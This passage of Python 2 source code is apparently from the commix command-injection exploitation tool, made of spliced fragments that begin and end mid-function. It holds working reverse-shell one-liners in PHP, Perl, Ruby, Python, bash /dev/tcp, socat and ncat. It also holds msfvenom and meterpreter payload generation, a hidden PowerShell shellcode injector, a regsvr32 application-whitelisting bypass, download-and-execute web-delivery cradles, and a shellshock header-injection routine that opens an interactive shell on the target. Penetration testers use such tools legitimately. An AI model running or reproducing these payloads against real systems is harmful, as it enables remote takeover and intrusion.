logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) success_msg = "The (" + check_header + ") '" success_msg += url + Style.RESET_ALL + Style.BRIGHT success_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL <= 1: print "" print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + "\"" + payload + "\"" + Style.RESET_ALL # if not settings.VERBOSITY_LEVEL >= 1: # print "" # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL >= 1: print "" while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) enumerate_again = sys.stdin.readline().replace("\n","").lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL sys.exit(0) else: # Pseudo-Terminal shell print "" go_back = False go_back_again = False while True: if go_back == True: break # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: # if settings.VERBOSITY_LEVEL >= 1: # print "" if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() print "" else: gotshell= "" if len(gotshell) == 0: gotshell= "y" if gotshell in settings.CHOICE_YES: print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: info_msg = "Executing the '" + cmd + "' command... " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL > 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") #print "\n" + settings.print_payload(payload) err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: info_msg = "Testing the " + technique + "... " if settings.VERBOSITY_LEVEL > 1: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() #print "" #sys.exit(0) break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) continue break else: continue if no_result and settings.VERBOSITY_LEVEL < 2: print "" except urllib2.HTTPError, err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print "\n" + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit()
def other_reverse_shells(separator): while True: other_shell = _input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like reverse TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. \n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows reverse TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a Windows meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. \ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ "exec(\"/bin/sh -i <%263 >%263 2>%263\");'" break # Perl-reverse-shell elif other_shell == '2': other_shell = "perl -e 'use Socket;" \ "$i=\"" + settings.LHOST + "\";" \ "$p=" + settings.LPORT + ";" \ "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \ "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \ "open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \ "exec(\"/bin/sh -i\");};'" break # Ruby-reverse-shell elif other_shell == '3': other_shell = "ruby -rsocket -e '" \ "c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ "$stdin.reopen(c);" \ "$stdout.reopen(c);" \ "$stderr.reopen(c);" \ "$stdin.each_line{|l|l=l.strip;" \ "next if l.length==0;" \ "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" break # Python-reverse-shell elif other_shell == '4': other_shell = "python -c 'import socket,subprocess,os%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \ "os.dup2(s.fileno(),0)%0d" \ "os.dup2(s.fileno(),1)%0d" \ "os.dup2(s.fileno(),2)%0d" \ "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" break # Socat-reverse-shell elif other_shell == '5': other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \ " exec:\"sh\",pty,stderr,setsid,sigint,sane" break # Bash-reverse-shell elif other_shell == '6': tmp_file = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(5) ]) other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ " 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file break # Ncat-reverse-shell elif other_shell == '7': other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh" break # PHP-reverse-shell (meterpreter) elif other_shell == '8': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/reverse_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n", " ") print(settings.SUCCESS_STATUS) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print(settings.FAIL_STATUS) break # Python-reverse-shell elif other_shell == '9': data = " -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \ "[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \ " __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \ " {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \ " __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \ " after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \ " __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \ "for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \ "for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \ "for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \ " stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \ "in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \ "[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \ "if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \ "for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \ "[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \ "for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \ "for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \ "for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \ "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \ "globals(), __import__('contextlib'))\"" if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + data else: other_shell = "python" + data break # Python-reverse-shell (meterpreter) elif other_shell == '10': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/reverse_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r") as content_file: data = content_file.readlines() data = ''.join(data) data = base64.b64encode(data) print(settings.SUCCESS_STATUS) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) except: print(settings.FAIL_STATUS) break # Powershell injection attacks elif other_shell == '11': if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: while True: windows_reverse_shell = _input( """ ---[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Regsvr32.exe application whitelisting bypass. \ncommix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(windows_reverse_shell): return shell_options(windows_reverse_shell) elif windows_reverse_shell == '1': output = "powershell_attack.rc" elif windows_reverse_shell == '2': output = "powershell_attack.txt" elif windows_reverse_shell == '3': output = "regsvr32_applocker_bypass_server.rc" else: err_msg = "The '" + windows_reverse_shell + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "windows/meterpreter/reverse_tcp" # Shellcode injection with native x86 shellcode if windows_reverse_shell == '1': gen_payload_msg(payload) try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: repls = { ';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': '' } shellcode = reduce( lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) powershell_code = ( r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode( powershell_code.encode('utf_16_le')) print(settings.SUCCESS_STATUS) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") msf_launch_msg(output) except: print(settings.FAIL_STATUS) break # TrustedSec's Magic Unicorn (3rd Party) elif windows_reverse_shell == '2': try: current_path = os.getcwd() try: unicorn_path = os.path.abspath( os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) # Check for Unicorn version. with open('unicorn.py') as unicorn_file: for line in unicorn_file: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: unicorn_version = line.replace( "Magic Unicorn Attack Vector v", "").replace(" ", "").replace( "-", "").replace("\"", "").replace( ")", "") break except: unicorn_version = "" update.check_unicorn_version(unicorn_version) try: if len(unicorn_version) == 0: unicorn_path = os.path.abspath( os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) gen_payload_msg(payload) subprocess.Popen( "python unicorn.py" + " " + str(payload) + " " + str(settings.LHOST) + " " + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace( '\n', '') other_shell = _urllib.parse.quote_plus( other_shell) print(settings.SUCCESS_STATUS) # Remove the ouput file os.remove(output) with open("unicorn.rc", 'w+') as filewrite: filewrite.write( "use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") msf_launch_msg("unicorn.rc") # Return to the current path. os.chdir(current_path) except: continue except: print(settings.FAIL_STATUS) break # Regsvr32.exe application whitelisting bypass elif windows_reverse_shell == '3': with open(output, 'w+') as filewrite: filewrite.write( "use exploit/windows/misc/regsvr32_applocker_bypass_server\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "set srvport " + str(settings.SRVPORT) + "\n" "set uripath " + settings.URIPATH + "\n" "exploit\n\n") if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: other_shell = "regsvr32 /s /n /u /i:http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + ".sct scrobj.dll" msf_launch_msg(output) break break # Web delivery script elif other_shell == '12': while True: web_delivery = _input( """ ---[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Windows meterpreter reverse TCP shell. \ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): if shell_options(web_delivery): return shell_options(web_delivery) elif web_delivery == '1': payload = "python/meterpreter/reverse_tcp" elif web_delivery == '2': payload = "php/meterpreter/reverse_tcp" elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: err_msg = "The '" + web_delivery + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue if 'payload' in locals(): output = "web_delivery.rc" with open(output, 'w+') as filewrite: filewrite.write( "use exploit/multi/script/web_delivery\n" "set target " + str(int(web_delivery) - 1) + "\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "set srvport " + str(settings.SRVPORT) + "\n" "set uripath " + settings.URIPATH + "\n" "exploit\n\n") if web_delivery == '1': data = "; r=_urllib.request.urlopen('http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + "'); exec(r.read());" data = base64.b64encode(data) if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) break elif web_delivery == '2': if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + "'));" else: other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + "'));\"" msf_launch_msg(output) break elif web_delivery == '3': if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str( settings.LHOST) + ":" + str( settings.SRVPORT ) + settings.URIPATH + "');" msf_launch_msg(output) break break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) # Invalid option else: err_msg = "The '" + other_shell + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue return other_shell
def do_check(request): # Check if defined any HTTP Host header. if menu.options.host: Host = menu.options.host request.add_header('Host', Host) # Check if defined any HTTP Referer header. if menu.options.referer and settings.REFERER_INJECTION == False: Referer = menu.options.referer request.add_header('Referer', Referer) # Check if defined any HTTP User-Agent header. if menu.options.agent and settings.USER_AGENT_INJECTION == False: Agent = menu.options.agent request.add_header('User-Agent', Agent) # Check if defined any HTTP Cookie header. if menu.options.cookie and settings.COOKIE_INJECTION == False: Cookie = menu.options.cookie request.add_header('Cookie', Cookie) # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. if not menu.options.ignore_401: if menu.options.auth_cred and menu.options.auth_type: try: settings.SUPPORTED_HTTP_AUTH_TYPES.index( menu.options.auth_type) if menu.options.auth_type == "basic": b64_string = base64.encodestring( menu.options.auth_cred).replace('\n', '') request.add_header("Authorization", "Basic " + b64_string + "") elif menu.options.auth_type == "digest": try: url = menu.options.url try: response = urllib2.urlopen(url) except urllib2.HTTPError, e: try: authline = e.headers.get( 'www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''', authline).groups() realm = authobj[1].split(',')[0].replace( "\"", "") user_pass_pair = menu.options.auth_cred.split( ":") username = user_pass_pair[0] password = user_pass_pair[1] authhandler = urllib2.HTTPDigestAuthHandler() authhandler.add_password( realm, url, username, password) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) result = urllib2.urlopen(url) except AttributeError: pass except urllib2.HTTPError, e: pass except ValueError: err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." err_msg += " Try basic or digest HTTP authentication type." print settings.print_error_msg(err_msg) sys.exit(0) else: pass # The MIME media type for JSON. if settings.IS_JSON: request.add_header("Content-Type", "application/json") # Check if defined any extra HTTP headers. if menu.options.headers: # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. menu.options.headers = checks.wildcard_character(menu.options.headers) extra_headers = menu.options.headers extra_headers = extra_headers.split(":") extra_headers = ':'.join(extra_headers) extra_headers = extra_headers.split("\\n") # Remove empty strings extra_headers = [x for x in extra_headers if x] for extra_header in extra_headers: # Extra HTTP Header name http_header_name = re.findall(r"(.*):", extra_header) http_header_name = ''.join(http_header_name) # Extra HTTP Header value http_header_value = re.findall(r":(.*)", extra_header) http_header_value = ''.join(http_header_value) # Check if it is a custom header injection. if settings.CUSTOM_HEADER_INJECTION == False and \ settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name request.add_header(http_header_name, http_header_value)
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("\n" + settings.print_payload(payload)) header = {check_header: payload} request = urllib2.Request(url, None, header) response = urllib2.urlopen(request) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False elif cve in response.info(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False elif cve in response.read(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) #if vp_flag == True: vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) success_msg = "The (" + check_header + ") '" success_msg += url + Style.RESET_ALL + Style.BRIGHT success_msg += "' seems vulnerable via " + technique + "." print "\n" + settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + "\"" + payload + "\"" + Style.RESET_ALL if not settings.VERBOSITY_LEVEL >= 1: print "" # Enumeration options. if settings.ENUMERATION_DONE == True: if settings.VERBOSITY_LEVEL >= 1: print "" while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) enumerate_again = sys.stdin.readline().replace( "\n", "").lower() if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True: while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace( "\n", "").lower() if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL sys.exit(0) else: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: if settings.VERBOSITY_LEVEL >= 1: print "" question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into the '" + os_shell_option + "' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": # Set up LHOST / LPORT for 